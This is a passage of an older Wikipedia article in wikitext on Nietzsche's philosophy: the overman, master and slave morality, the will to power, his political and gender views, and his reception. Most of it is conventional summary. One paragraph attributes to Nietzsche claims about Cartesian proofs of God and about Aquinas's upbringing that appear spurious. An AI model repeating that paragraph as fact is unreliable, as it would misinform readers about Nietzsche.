There is some controversy over who or what Nietzsche considered an overman (or &quot;superman&quot;; in German, [[Übermensch]]). Not only is there some basis to think that Nietzsche was skeptical about individual identity and the notion of [[subject (philosophy)|subject]], but there was never a concrete example of the overman. 

Nietzsche coined the terms ''herd instinct'' or ''slave morality'', which represents the kind of morality or ideology produced by a culture or a society.  The herd instinct is the inevitable consequence of society, and it is extremely difficult for an individual to take on a value or moral system different from society's. 
The overman is the individual who can overcome the herd instinct,  who can take on values and morals not of the society. This is contrasted with one who wields power over others (although the overman, having overcome himself, will consequently dominate those who have not); the overman is about being &quot;judge and avenger and victim of one's own law.&quot;, rather than that of the others or one's society. As such, the overman creates his own values.

Since Nietzsche never set out who was an overman, it is possibly an ideal or a theoretical construct designed to point out that it is difficult, if not impossible, to break free from society's ideological and moral grasp. As an intellectual exercise, contemporary thinkers have asked who or what could have been an overman. Could rulers such as Stalin or Hitler be an overman? Given that rulers represent the moralities and ideologies of their time, rather than creating new ones, the answer is &quot;No.&quot; The concept of the overman appears to be limited to an intellectual or artist, rather than the political leaders that Nietzsche despised.

=== How Other Philosophers Have Interpreted Nietzsche's Overman ===

[[Subject (philosophy)#Nietzsche's critique of the subject|Nietzsche's critique of the subject]] makes it impossible to reduce the &quot;overman&quot; or any other individual person to an individual subject, thus assimilating him as a kind of [[hero]]: &quot;''there is no doer behind the doing''&quot;, wrote Nietzsche. We attribute a subject as a [[causality|cause]] of the event, because we need this &quot;grammatical fiction&quot;; but in fact, there is no more subject than there is any [[substance]], because both presuppose an eternally identical world, whereas world is always in a state of flux and change. There is ''no substance'', there is ''no subject'' and there is ''no causality'' are Nietzsche's most radical thesis.

In his ''Nietzsche'', Heidegger himself, although later criticized for his membership in the [[NSDAP|Nazi Party]], criticized this more or less deliberate misunderstanding of Nietzsche's philosophy, based in a [[scientist]] conception and on a biological interpretation of Nietzsche's thought. [[Mazzino Montinari]]'s edition of the posthumous fragments and [[philological]] criticisms of the fake ''[[Will to Power]]'', as [[Gilles Deleuze]]'s particular reading of Nietzsche, would be essential moments of the revealing of this caricature.

=== Master morality and slave morality  ===
Nietzsche argued that there were two types of morality, a master morality that springs actively from the 'noble man' and a slave morality that develops reactively within the weak man.  These two moralities are not simple inversions of one another, they are two different value systems; master morality fits actions into a scale of 'good' or 'bad' whereas slave morality fits actions into a scale of 'good' or 'evil'.

Nietzsche defined master morality as the morality of the strong-willed. For these men the 'good' is the noble, strong and powerful, while the 'bad' is the weak, cowardly, timid and petty. Master morality begins in the 'noble man' with a spontaneous idea of the 'good', then the idea of 'bad' develops in opposition to it. (''[[On the Genealogy of Morals]]'', First Essay, Section 11)  He said: &quot;The noble type of man experiences ''itself'' as determining values; it does not need approval; it judges, &quot;what is harmful to me is harmful in itself&quot;; it knows itself to be that which first accords honor to things; it is ''value-creating.&quot;'' (''[[Beyond Good and Evil]]'')

Slave morality begins in those people who are weak, uncertain of themselves, oppressed and abused. The essence of slave morality is ''utility'': the good is what is most useful for the community as a whole. Since the powerful are few in number compared to the masses of the weak, the weak gain power vis-a-vis the strong by treating those qualities that are valued by the powerful as &quot;evil,&quot; and those qualities that enable sufferers to endure their lot as &quot;good.&quot; Thus patience, humility, pity, submissiveness to authority, and the like, are considered good.

Slave morality begins in a [[ressentiment]] that turns creative and gives birth to values.  (Ressentiment was a term coined by Nietzsche to describe the feeling of the weak, unhealthy and ugly towards those who have fared better in life.)  The slave regards the virtues of beauty, power, strength and wealth as 'evil' in an act of revenge against those who have them in abundance.  (''On the Genealogy of Morals'', First Essay, Section 10)  Slave morality is therefore a reactionary morality because 'good' does not spring creatively from the individual but develops as a negation of the values of the powerful. The noble person conceives of goodness first and later determines what is 'bad' while the slave conceives of 'evil' first and fashions his own conception of 'good' in opposition to this.

One of the main themes in Nietzsche's work is that ancient Roman society was grounded in master morality, and that this morality disappeared as the slave morality of Christianity spread through ancient Rome.  Nietzsche was concerned with the state of European culture during his lifetime and therefore focused much of his analysis on the history of master and slave morality within Europe.  Occasional references, however, also suggest that he meant these terms to be applied to other societies.

However, as with so many ideas in Nietzsche's work, there is no material manifestation of this idea, no hard and fast difference between that which is created by the master morality and that created by the slave. While Nietzsche stated repeatedly that the master morality was necessary for the advancement of humanity (through superhuman - ''übermenschliche'' - deeds), he gave examples of where these advances were made through the use of the tenets of the slave morality. The second essay of ''On the Genealogy of Morals'' is an indication of this insight, as well as his longstanding fascination with Jesus. Mastery for Nietzsche was the creation of values, and a recurring theme (especially in ''[[Thus Spoke Zarathustra]]'') is how even what might seem bad can be, must be, taken up into a masterful life. As Zarathustra says (in Part II, Manly Prudence) : &quot;he who lives amongst men must know how to wash himself with dirty water.&quot; Nietzsche gives a concise investigation of how any idea might be used masterfully in the ninth aphorism of ''Beyond Good on Evil'', concerning [[Stoicism]].

According to Nietzsche, the Cartesian proofs for the existence of God are all examples of logic only a master from the nobility would invent.  [[Thomas Aquinas]]' notions of what constitutes the &quot;[[eudemonia|good life]]&quot; is a particular example of what &quot;good&quot; might mean to a master.  Nietzsche claimed that such notions of the good life would have their root in the discipline and punishment Aquinas received as a child from the hands of his father.

=== Christianity as an institution and Jesus ===
In Nietzsche's book the ''Anti-Christ'', Nietzsche fights against how Christianity has become an ideology set forth by institutions like churches, and how churches have failed to represent the life of Jesus. It is important, for Nietzsche, to distinguish between the religion of Christianity and the person of Jesus. Nietzsche attacked Christian religion as it was represented by churches and institutions for what he called its &quot;transvaluation&quot; of healthy instinctive values. Transvaluation is the process by which the meaning of a concept or ideology can be reversed to its opposite. He went beyond agnostic and atheistic thinkers of the [[Age of Enlightenment|Enlightenment]], who felt that Christianity was simply untrue. He claimed that it may have been deliberately propagated as a subversive religion (a &quot;psychological warfare weapon&quot; or what some would call a &quot;[[meme]]tic virus&quot;) within the [[Roman Empire]] by the Apostle [[Paul of Tarsus|Paul]] as a form of covert revenge for the Roman destruction of [[Jerusalem]] and the Temple during the [[Jewish War]]. 

Nietzsche contrasts the Christians with Jesus, whom he greatly admired. Nietzsche argues that Jesus transcended the moral influences of his time by creating his own set of values. As such Jesus represents a step towards the overman. Ultimately, however, Nietzsche claims that, unlike the overman, who embraces life, Jesus denied reality in favor of his &quot;kingdom of God,&quot; and that Jesus' refusal to defend himself, and subsequent death, were logical consequences of this total disengagement. Nietzsche then analyzes the history of Christianity, finding it to be a progressively grosser distortion of the teachings of Jesus. He criticizes the early Christians for turning Jesus into a martyr and Jesus' life into a story of the redemption of mankind in order to gain power over the masses, finding them to be cowardly, vulgar, and resentful. He argues that Christianity had become more and more corrupted, as successive generations further misunderstood the life of Jesus. By the 19th century, Nietzsche concludes, Christianity had become so worldly as to be a parody of itself--a total inversion of a worldview which was, in the beginning, nihilistic.

=== ''The Will to Power'' ===

The “will to power” is a controversial concept in Nietzsche's philosophy, which has led to many interpretations, some of which, such as the Nazi interpretation of it as a &quot;will of power&quot;, were deliberate attempts of political instrumentation. 

Much of the controversy surrounding the concept emerges from and surrounds [[The Will to Power]], a book attributed to Nietzsche and published in 1901 (after Nietzsche’s death) by his sister [[Elisabeth Förster-Nietzsche]]. There is disagreement about how much the book reflects Nietzsche’s philosophy and to what degree he wrote it. Likewise, to what degree the ''will to power'' as a concept is central or irrelevant to Nietzsche's philosophy is contested.

One popular interpretation of &quot;will to power&quot; is that it is a process of expansion and venting of creative energy that he believed was the basic driving force of nature. This interpretation would suggest that he believed it to be the fundamental causal power in the world, the driving force of all natural phenomena and the dynamic to which all other causal powers could be reduced. Indeed, the will to power must not be understood in a [[psychological]] or [[subject (philosophy)|subjective]] way, but rather in a &quot;cosmic way&quot;. That is, according to this theory, Nietzsche in part hoped the ''will to power'' could be a &quot;[[theory of everything (philosophy)|theory of everything]],&quot; providing the ultimate foundations for explanations of everything from whole societies, to individual organisms, down to mere lumps of matter.

Nietzsche perhaps developed the ''will to power'' concept furthest with regard to living organisms, and it is there that the concept is perhaps easiest to understand. There, the ''will to power'' is taken as an animal's most fundamental [[instinct]] or drive, even more fundamental than the act of self-preservation; the latter is but an epiphenomenon of the former. According to Nietzsche, the will to power is the basic means through which living things &quot;interpret&quot; or interact with the world and, in this sense, the world is &quot;will to power, and nothing else besides.&quot;

:''[Anything which] is a living and not a dying body... will have to be an incarnate will to power, it will strive to grow, spread, seize, become predominant &amp;mdash; not from any morality or immorality but because it is living and because life simply is will to power... 'Exploitation'... belongs to the essence of what lives, as a basic organic function; it is a consequence of the will to power, which is after all the will to life.'' &amp;mdash; [[Beyond Good and Evil]] s.259, [[Walter Kaufmann]] translation.

Since the ''will to power'' is fundamental, any other drives are to be reduced to it; the &quot;will to survive&quot; (i.e. the survival instinct) that biologists (at least in Nietzsche's day) thought to be fundamental, for example, was in this light a manifestation of the ''will to power''.

:''Physiologists should think before putting down the instinct of self-preservation as the cardinal instinct of an organic being. A living thing seeks above all to discharge its strength &amp;mdash; life itself is will to power; self-preservation is only one of the indirect and most frequent results.'' &amp;mdash; [[Beyond Good and Evil]]

Not just animalistic instincts but also higher level behaviors (even in humans) were to be reduced to the ''will to power''. In fact, Nietzsche considered [[consciousness]] itself to be the a form of instinct. This includes both such apparently harmful acts as physical [[violence]], lying and domination, on one hand, and such apparently non-harmful acts as gift-giving, [[love]] and praise on the other. In ''[[Beyond Good and Evil (book)|Beyond Good and Evil]]'', he claims that philosophers' &quot;will to truth&quot; (i.e., their apparent desire to dispassionately seek objective truth) is actually nothing more than a manifestation of their ''will to power''; this will can be life-affirming or a manifestation of [[nihilism]], but it is ''will to power'' all the same.

As indicated above, the ''will to power'' is meant to explain more than just the behavior of an individual person or animal. It is not psychological, nor [[intentionality|intentional]] or subjective. As opposed to consciousness, it is not one but multiple.

It should be noted that a biological interpretation of Will to Power such as this is but one of many possible. Nietzsche scholarship is replete with interpretations, largely due to Nietzsche's elusive style.  Others might suggest that the Will to Power is not really as central a concept in Nietzsche's thought.  Nietzsche himself may have even agreed, when he suggests, in ''Ecce Homo'', that his notion of eternal recurrence is his most central thought, and the central theme of his most famous work, ''Thus Spoke Zarathustra''. 

However, [[Heidegger]], and also [[Deleuze]], would argue that both concepts, the ''will to power'' and the ''thought of the eternal recurrence'', were to be thought together.

== Place in contemporary ethical theory ==
Nietzsche's work addresses [[ethics]] from several perspectives; in today's terms, we might say his remarks pertain to [[meta-ethics]], [[normative ethics]], and [[descriptive ethics]].

As far as [[meta-ethics]] is concerned, Nietzsche can perhaps most usefully be classified as a [[moral skepticism|moral skeptic]]; that is, he claims that all ethical statements are false, because any kind of correspondence between ethical statements and &quot;moral facts&quot; is illusory. (This is part of a more general claim that there is no universally true fact, roughly because none of them more than &quot;appear&quot; to correspond to reality). Instead, ethical statements (like all statements) are mere &quot;interpretations.&quot;

Sometimes, Nietzsche may seem to have very definite opinions on what is moral or immoral. Note, however, that Nietzsche's moral opinions may be explained without attributing to him the claim that they are &quot;true.&quot; For Nietzsche, after all, we needn't disregard a statement merely because it is false. On the contrary, he often claims that falsehood is essential for &quot;life.&quot; Interestingly enough, he mentions a 'dishonest lie,' discussing Wagner in ''[[The Case of Wagner]]'', as opposed to an 'honest' one, saying further, to consult Plato with regards to the latter, which should give some idea of the layers of paradox in his work.

In the juncture between [[normative ethics]] and [[descriptive ethics]], Nietzsche distinguishes between &quot;master morality&quot; and &quot;slave morality.&quot; Although he recognises that not everyone holds either scheme in a clearly delineated fashion without some syncretism, he presents them in contrast to one another. Some of the contrasts in master vs. slave morality:
* &quot;[[Goodness and value theory|good]]&quot; and &quot;[[bad]]&quot; interpretations vs. &quot;good&quot; and &quot;[[evil]]&quot; interpretations
* &quot;aristocratic&quot; vs. &quot;part of the 'herd'&quot;
* determines values independently of predetermined foundations (nature) vs. determines values on predetermined, unquestioned foundations (Christianity).

These ideas were elaborated in his book ''[[On the Genealogy of Morals]]'' in which he also introduced the key concept of [[resentment|ressentiment]] as the basis for the slave morality.

:''The revolt of the slave in morals begins in the very principle of ''ressentiment'' becoming creative and giving birth to values &amp;mdash; a ''ressentiment'' experienced by creatures who, deprived as they are of the proper outlet of action are forced to find their compensation in an imaginary revenge. While every aristocratic morality springs from a triumphant affirmation of its own demands, the slave morality says 'no' from the very outset to what is 'outside itself,' 'different from itself,' and 'not itself'; and this 'no' is its creative deed.'' (''On the Genealogy of Morals'')

Nietzsche's assessment of both the antiquity and resultant impediments presented by the ethical and moralistic teachings of the world's [[Monotheism|monotheistic]] religions eventually led him to his own [[epiphany]] about the nature of God and morality, resulting in his work ''[[Thus Spoke Zarathustra]]''.

Nietzsche is also well-known for the statement &quot;God is dead&quot;. While in popular belief it is Nietzsche himself who blatantly made this declaration, it was actually placed into the mouth of a character, a &quot;madman,&quot; in ''The Gay Science''. It was also later proclaimed by Nietzsche's [[Zarathustra (fictional philosopher)|Zarathustra]]. This largely misunderstood statement does not proclaim a physical death, but a natural end to the belief in God being the foundation of the western mind. It is also widely misunderstood as a kind of gloating declaration, when it is actually described as a tragic lament by the character Zarathustra.

&quot;God is Dead&quot; is more of an observation than a declaration. Nietzsche did not advance arguments for [[atheism]], but merely observed that, for all practical purposes, his contemporaries lived &quot;as if&quot; God were dead. Nietzsche believed this &quot;death&quot; would eventually undermine the foundations of morality and lead to [[moral relativism]] and [[moral nihilism]]. To avoid this, he believed in re-evaluating the foundations of morality and placing them not on a pre-determined, but a natural foundation through comparative analysis.

== Political views ==
While a political tone is easy to discern in Nietzsche's writings, his work does not in any sense propose or outline a 'political project'. The man who stated that 'The will to a system is a lack of integrity' was consistent in never devising or advocating a specific system of governance - just as, being an advocate of individual struggle and self-realization, he never concerned himself with mass movements or with the organization of groups and political parties. In this sense, Nietzsche could almost be called an anti-political thinker.

However, Nietzsche's ideas have served as inspiration for many political thinkers and theorists, from [[Adolf Hitler]] to [[Ayn Rand]]. In particular, the fact that Nietzsche was held in high regard by the [[Nazism|Nazis]] has served to associate many of his philosophical concepts with Nazi practices in the popular imagination. One can only speculate as to the opinion that Nietzsche might have had of Nazism had he lived to see it. During his lifetime, Nietzsche rejected some of the views that would later be central to Nazi doctrine (such as [[anti-Semitism]], [[racism]], and, to some extent, [[nationalism]]), while at the same time he promoted other views that would later be embraced by the Nazis (such as strong [[Führerprinzip|individual leadership]] and the concept of the [[Übermensch|Overman]], which the Nazis adopted as part of their idea of the [[Master race]]).

Nietzsche often referred to the common people who participated in mass movements and shared a common mass psychology as &quot;the rabble&quot;, and &quot;the herd.&quot; He valued [[individualism]] above all else, and was particularly opposed to [[pity]] and [[altruism]] (one of the things that he seems to have detested the most about [[Christianity]] was its emphasis on pity and how this allegedly leads to the elevation of the weak-minded). While he had a dislike of the state in general, Nietzsche also spoke negatively of anarchists and made it clear that only certain individuals should attempt to break away from the herd mentality. This theme is common throughout ''Thus Spoke Zarathustra''.

One central political theme running through much of Nietzsche's work is [[Social Darwinism]] - the idea that the strong have a natural right to dominate the weak, and that feelings such as [[compassion]] and [[mercy]] are burdens to be overcome. This has influenced a great variety of political movements in the century that has elapsed since Nietzsche's death, and, because all those movements claim Nietzsche as part of their intellectual legacy, it is often difficult to distinguish Nietzsche's own views from the views of those who claim to follow him. As noted above, Nazism is perhaps the most prominent political movement inspired by Nietzsche. The Nazis interpreted Nietzsche's ideas of master and slave, of the struggle between the strong and the weak, as referring to nations and races; thus they saw master races and slave races, and regarded [[war]] as the act through which strong nations come to dominate weak ones. But this interpretation is by no means universally held. Nietzsche's thought has been a major influence on [[Ayn Rand]]'s [[Objectivist philosophy]] and other schools of thought that support [[laissez-faire]] [[capitalism]]. Their interpretation of Nietzsche places emphasis on the struggle between weak and strong individuals rather than nations. They regard the [[free market]] as the mechanism which allows superior individuals to fully express their superiority, and they argue that the state should not intervene on behalf of the inferior.

== Gender views ==
Nietzsche's comments on women have provoked a great deal of discussion. Given modern sensitivities regarding the sexes and the rise of feminism, Walter Kaufmann has gone so far as to call these remarks an embarrassment. The fact that Nietzsche also mocked men and manliness has not saved him from the charge of sexism. However, the women he came into contact with typically reported that he was amiable and treated their ideas with much more respect and consideration than they generally expected from educated men in that period of time, amidst various sociological circumstances of the time (e.g., patriarchy). Much of Nietzsche's commentary on women (and men) should be read in light of his revaluation of values and his continuing encouragements for humanity to reach for something higher - why, for example, push for women's involvement in politics when women can direct their energies toward something more? Moreover, some of his statements on women seem to prefigure the criticisms of postfeminism against prior feminisms, particularly those that claim prior feminisms do violence to women by positing and privileging Woman in their place. In this connection Nietzsche was acquainted with the work On Women by Schopenhauer and was probably influenced by it to some degree. As such, some statements scattered throughout his works seem to attack women in a similar vein.

Nietzsche's view of women is informed foremost by their role (rather, potential) as mothers, and does not extend much further than that. &quot;Let your hope say: 'May I bear the Overman!'&quot; he councils them in 'Old and Young Women' (Thus Spoke Zarathustra, Book I, sec. 18). Considering that Nietzsche places the creation of things greater than oneself as the central task of a noble life, this is a very sympathetic view of woman whereby she can act in as praiseworthy a fashion as man by the nature of her sex - it is an exultation of womanhood, of womanhood as maternity.
This, and the distinction between the sexes as seen by Nietzsche can be seen clearest in the following aphorism:

:When a woman has scholarly inclinations there is generally something wrong with her sexual nature. Barrenness itself conduces to a certain virility of taste; man, indeed, if I may say so, is “the barren animal.”
: (Beyond Good and Evil, sec. 144, trans. Helen Zimmern)

This is contrary to the then (and still) prevailing view of Woman as the receptacle of male fertility (exemplified by [[Sigmund Freud]]'s [[Sigmund Freud#Psychosexual development|views on women]]). Nietzsche states here, a continuation of his anti-nihilism and his belief that fruitfulness is meaning, that it is exactly because man has no natural avenue for a meaningful existence that he sets himself into fruitful pursuits. Woman, however, is herself a source of fertility.

Nietzsche places real value in woman, a unique value: woman isn't weaker as much as she is different, And, indeed, Nietzsche believed there were radical differences the essence of the genders. &quot;Thus,&quot; said Nietzsche through the mouth of his Zarathustra, &quot;would I have man and woman: the one fit for warfare, the other fit for giving birth; and both fit for dancing with head and legs&quot; (Zarathustra III. [56, &quot;Old and New Tables,&quot; sect. 23.])—that is to say: both are capable of doing their share of ''humanity's'' work, with their respective physiological conditions granted and therewith elucidating, each individually, their potentialities. 

The obvious problem presented with such a view is the narrowness of what is considered a noble path for women: ''only'' maternity is a womanly virtue. And while Nietzsche allows woman a hand in her life, it is the supporting hand.  

:&quot;Comparing man and woman generally, one may say that woman would not have the genius for adornment, if she had not the instinct for the ''secondary'' role.&quot;
: (Beyond Good and Evil, sec. 145, trans. Helen Zimmern)

However, Nietzsche is unclear in whether this image of woman is a product of nature or of nurture: while his language suggests the former, being above all a philosopher of ethics he only explicitly discusses the attitudes, tendencies and values that are the latter. It is notoriously difficult and misleading to generalise from Nietzsche's writing: he was not a systemic philosopher. The implication exists that woman can take a different path than the one he has laid out, even if it contradicts her 'nature'. Nietzsche certainly never reprimanded any woman for taking a non-maternal role - in final reading he is not even a proscriptive philosopher, since his emphasis on the transvaluation of all values would not allow it. What Nietzsche would have done when faced with women like [[Virginia Woolf]] or [[Emily Dickinson]] who seemingly offered up their maternal instincts to follow careers as artists, as those 'higher men' Nietzsche admired, is a matter for debate, though his philosophy does not allow for them.

There have been several scholarly attempts to address the woman question in Nietzsche's writing. Peter J. Burgard's ''Nietzsche and the Feminine'' and Frances Nesbitt Oppel's ''Nietzsche on Gender: Beyond Man and Woman'' both read Nietzsche's statements on women as being yet another series of word-games amongst word-games, meant to challenge the reader and incite inspection of the concepts involved. French post-structuralist theorist [[Jacques Derrida]] made a similar argument in his 'Spurs'.

== Nietzsche's Influence and Reception ==
Nietzsche's writings have been interpreted very differently by different people, and there are even cases of Nietzsche being used on both sides of an argument to support contradictory views. For instance, Nietzsche was popular among left-wing Germans in the 1890s, but a few decades later, during the First World War, many regarded him as one of the sources of right-wing German [[militarism]]. The conservative right-wing wanted to ban Nietzsche's work under charges of subversion in 1894/1895, while [[Nazi Germany]] used Nietzsche to promote their idea of a revival of traditional German culture and national identity. Many Germans read ''Thus Spoke Zarathustra'' and were influenced by Nietzsche's appeal of unlimited individualism and the development of a personality.

During the [[interbellum]], various fragments of Nietzsche's work were appropriated by [[Nazism|Nazis]], notably [[Alfred Bäumler]] in his reading of ''The Will to Power''. During the period of Nazi rule, Nietzsche's work was widely studied in German (and, after 1938, Austrian) schools and universities. The Nazis viewed Nietzsche as one of their &quot;founding fathers.&quot; They incorporated much of his ideology and thoughts about power into their own political philosophy. Although there exist some significant differences between Nietzsche and Nazism (see [[Friedrich Nietzsche#Political views|above]]), his ideas of power, weakness, women, and religion became axioms of Nazi society. The wide popularity of Nietzsche among Nazis was due partly to Nietzsche's sister, [[Elisabeth Förster-Nietzsche]], a Nazi sympathizer who edited much of Nietzsche's works.  However, Nietzsche disapproved of his sister's anti-Semitic views.  Furthermore, [[Mazzino Montinari]], one of editors of Nietzsche's posthumous works in the 1960s, argued that Förster-Nietzsche had deliberately cut extracts, changed their order, and added false titles to the posthumous fragments, thus constituting the fake ''Will to power'' {{ref label|Montinari|1|b}}.

Ironically, since [[World War II]], Nietzsche's influence has generally been clustered on the political left, particularly in [[France]] by way of [[post-structuralism|post-structuralist]] thought ([[Gilles Deleuze]] and [[Pierre Klossowski]] are often credited for writing the earliest monographs to draw new attention to his work, and a [[1972]] conference at Cérisy-la-Salle is similarly regarded as the most important event in France for a generation's reception of Nietzsche). 

In his 1916 ''Egotism in German Philosophy'', American philosopher [[George Santayana]] dismissed Nietzsche as a &quot;prophet of Romanticism&quot;. 

Among the first to recognize Nietzsche's importance was the German novelist [[Thomas Mann]], who showed Nietzsche's influence in his novels, especially his 1947 ''[[Doktor Faustus]]''. In 1936, [[Martin Heidegger]] lectured on the &quot;Will to Power as a Work of Art&quot;, and would later publish four large volumes of lectures on Nietzsche. 

In 1938, the German existentialist [[Karl Jaspers]] commented about the influence of Nietzsche:
:The contemporary philosophical situation is determined by the fact that two philosophers, Kierkegaard and Nietzsche, who did not count in their times and, for a long time, remained without influence in the history of philosophy, have continually grown in significance. Philosophers after Hegel have increasingly returned to face them, and they stand today unquestioned as the authentically great thinkers of their age. ... The effect of both is immeasurably great, even greater in general thinking than in technical philosophy ...
::&amp;mdash;Jaspers, ''Reason and Existenz''

Early twentieth century thinkers influenced by Nietzsche include: philosophers [[Georg Brandes]], [[Henri Bergson]], [[Martin Buber]], [[Jean-Paul Sartre]], [[Albert Camus]], and [[Muhammad Iqbal]]; sociologist [[Max Weber]]; theologian [[Paul Tillich]]; novelists [[Hermann Hesse]], [[André Malraux]], [[André Gide]], and [[D. H. Lawrence]]; psychologists [[Carl Jung]], [[Alfred Adler]], [[Abraham Maslow]], [[Carl Rogers]], and [[Rollo May]]; popular philosopher [[Ayn Rand]]; poets [[Rainer Maria Rilke]], [[James Douglas Morrison]], and [[William Butler Yeats]]; and playwrights [[George Bernard Shaw]] and [[Eugene O'Neill]]. American writer [[H.L. Mencken]] was an avid reader and translator of Nietzsche's works and has been called &quot;the American Nietzsche.&quot;

According to [[Ernest Jones]], biographer and personal acquaintance of [[Sigmund Freud]], Freud had frequently referred to Nietzsche as having &quot;more penetrating knowledge of himself than any man who ever lived or was likely to live&quot; (Jones, ''The Life and Work of Sigmund Freud'').  Nevertheless, Jones also reports that Freud emphatically denied that Nietzsche's writings influenced his psychological discoveries, since Freud had been disinterested in philosophic works as a medical student.  He formed his opinion about Nietzsche later in life.

Nietzche's appropriation by the Nazis, combined with the advent of [[analytic philosophy]], insured that he was almost completely ignored in Great Britain and the United States until at least 1950. Analytic philosophers often charactized Nietzsche as more of a literary figure than a philosopher. 

In 1950, the German-American philosopher [[Walter Kaufmann]] published ''Nietzsche: Philosopher, Psychologist, Antichrist'', which, along with Kaufmann's accurate translations of Nietzsche's major works, began the gradual restoration among English-speaking philosophy departments of Nietzsche as an important nineteenth century philosopher. Kaufmann was a strong advocate of Nietzsche, but even he had some criticism:&lt;blockquote&gt;It is evident at once that Nietzsche is far superior to [[Kant]] and [[Hegel]] as a stylist; but it also seems that as a philosopher he represents a very sharp decline. (p 79)&lt;/blockquote&gt;

Recognition of Nietzsche's philosophy grew substantially in the later 20th century, especially among French [[Post-structuralism|post-structuralist]] philosophers. [[Gilles Deleuze]], [[Jacques Derrida]], [[Jean-Luc Nancy]], and [[Michel Foucault]] are all heavily indebted to Nietzsche.

Other thinkers influenced by Nietzsche include &quot;Death of God&quot; theologian [[Thomas Altizer]], and novelists [[Nikos Kazantzakis]], [[Mikhail Artsybashev]], and [[Lu Xun]], and [[literary criticism|literary critic]] [[Harold Bloom]].

== Works ==
''For a complete bibliography, see [[List of works by Friedrich Nietzsche]]''

===Selected Works===
* ''[[The Birth of Tragedy]]'', 1872
* ''[[Human, All Too Human]]'', 1878
* ''[[The Dawn (book)|The Dawn]]'', 1881
* ''[[The Gay Science]]'', 1882/1887
* ''[[Thus Spoke Zarathustra]]'', 1883-5
* ''[[Beyond Good and Evil]]'', 1886
* ''[[On the Genealogy of Morals]]'', 1887
* ''[[The Twilight of the Idols]]'', 1888
* ''[[The Antichrist]]'', 1888
* ''[[Ecce Homo (Nietzsche)|Ecce Homo]]'', 1888

== Note ==
*{{note|Montinari}}{{note label|Montinari|1|a}}{{note label|Montinari|1|b}}See [[Mazzino Montinari]] and [[Paolo d'Iorio]]'s comments about the edition of 'The Will to Power', in &quot;'The Will to Power' does not exist&quot; [http://www.amazon.fr/exec/obidos/ASIN/2841620123/403-3466854-4982803 Sigrid Oloff-Montinari original italian edition];[http://www.centronietzsche.net/montinari_biografia.html Centro Montinari (Italian)]; the definite proof of the inexistence of a work by Nietzsche called ''The Will to Power'' was edited in French under the title ''Edition critique des Oeuvres philosophiques complètes établie d'après les manuscrits originaux de l'auter et comprenant une part de textes inédits'' (&quot;Critical edition of the complete philosophical Opus established according to the original manuscrits and containing a part of previously unpublished texts&quot;), by [[:de:Giorgio Colli|Giorgio Colli]] and Mazzino Montinari, Gallimard, Paris, 1967.
*{{note|Klossowski}} See [[Pierre Klossowski]], ''Nietzsche and the Vicious Circle'' (1969)
*{{note|Stiegler}} See [[Barbara Stiegler]], ''Nietzsche et la biologie'' [[PUF]], 2001 ISBN 2130507425 

==See also==
{{col-begin}}
{{col-3}}
*''[[God is dead]]''
*[[Goodness and value theory]]
*[[Nietzsche and Kierkegaard comparisons]]
*[[Søren Kierkegaard]]
*[[Arthur Schopenhauer]]
*[[Emil Cioran]]
*[[Franz Kafka]]
{{col-3}}
*[[Gilles Deleuze]]
*[[Heraclitus]]
*[[Jacques Derrida]]
*[[Jean-Paul Sartre]]
*[[Johann Wolfgang von Goethe]]
*[[Ludwig Andreas Feuerbach]]
*[[Martin Heidegger]]
{{col-3}}
*[[Max Stirner]]
*[[Michel Foucault]]
*[[Philipp Mainländer]]
*[[Richard Wagner]]
*[[Socrates]]
*[[Walter Kaufmann]]
*[[Menno ter Braak]]
{{col-end}}

== References==
# {{note|Laska}} Laska, Bernd A., ''Ein dauerhafter Dissident: 150 Jahre Stirners &quot;Einziger&quot;: eine kurze Wirkungsgeschichte'',  LSR-Verlag (1996)
# {{note|Brobjer}} Brobjer, Thomas H., ''Philologica: A Possible Solution to the Stirner-Nietzsche Question'', The Journal of Nietzsche Studies - Issue 25, Spring 2003, pp. 109-114 (Penn State University Press, 2003).
*''Kierkegaard and Nietzsche'' by J. Kellenberger (St. Martin's Press Inc, 1997).
*''Nietzsche in German politics and society, 1890-1918'' by Richard Hinton Thomas (Manchester University Press, 1983).
*''Nietzsche on Truth and Philosophy'' by Maudemarie Clark (Cambirdge University Press, 1990).
*''Nietzsche's System'' by John Richardson (Oxford University Press, 1996).
*''Nietzsche on Morality'' by Brian Leiter (Routledge, 2002).
*''Nietzsche: Philosopher, Psychologist, Antichrist'' by [[Walter Kaufmann]] ([[Princeton University]] Press, 1974, ISBN 0691019835).
*''Nietzsche: Life as Literature'' by [[Alexander Nehamas]] ([[Harvard University]] Press, 1985, ISBN 0674624351)
*''Nietzsche Humanist'' by Claude Pavur  (Marquette University Press, 1998, ISBN 0874626145)
*''Nietzsche: Volumes One and Two'' by [[Martin Heidegger]] ([[HarperSanFrancisco]], Harper edition, 1991, ISBN 0060638419).
*''Nietzsche: Volumes Three and Four'' by [[Martin Heidegger]] ([[HarperSanFrancisco]], 1991, ISBN 0060637943)
*''The Philosophy of Friedrich Nietzsche'' by [[H. L. Mencken]] ([[See Sharp Press]], 2003, ISBN 1884365310).
*''Nietzsche: A Critical Life.'' by  Ronald Hayman ([[Oxford University Press]], 1980, ISBN 019520204X).
*''Friedrich Nietzsche. Biographie.'' by Curt Paul Janz ([[Deutscher Taschenbuch Verlag]], 1993, ISBN 3423043830).
*''To Nietzsche: Dionysus, I Love You! Ariadne'' by Claudia Crawford (State University of New York Press, 1994, ISBN 0791421503).
*''Notes and Discussions: Nietzsche's Knowledge of Kierkegaard'' by Thomas H. Brobjer.  Journal of the History of Philosophy - Volume 41, Number 2, April 2003, pp. 251-263
*''Reason and Existenz'' by [[Karl Jaspers]] (Marquette University Press, 1996, ISBN 0874626110).

==External links==
{{wikisource author}}
{{wikiquote}}
{{Commons|Friedrich Wilhelm Nietzsche}}

'''Full texts of Nietzsche's works:'''
*{{gutenberg author | id=Friedrich_Nietzsche | name=Friedrich Nietzsche}}
* [http://www.fns.org.uk/ac.htm The Antichrist] (English translation by [[H. L. Mencken]])
* [http://www.videolexikon.com/skriptfachgebiet_Geschichte.htm Der Antichrist] (German text)

'''Other links:'''
* [[Open Directory Project]]: [http://dmoz.org/Society/Philosophy/Philosophers/N/Nietzsche,_Friedrich/ Friedrich Nietzsche]
* [[Stanford Encyclopedia of Philosophy]]: [http://plato.stanford.edu/entries/nietzsche/ Friedrich Nietzsche]
* [[Stanford Encyclopedia of Philosophy]]: [http://plato.stanford.edu/entries/nietzsche-moral-political/ Nietzsche's Moral and Political Philosophy]
* [http://www.dartmouth.edu/~fnchron/index.html Nietzsche Chronicle] (Detailed Chronology and Biography)
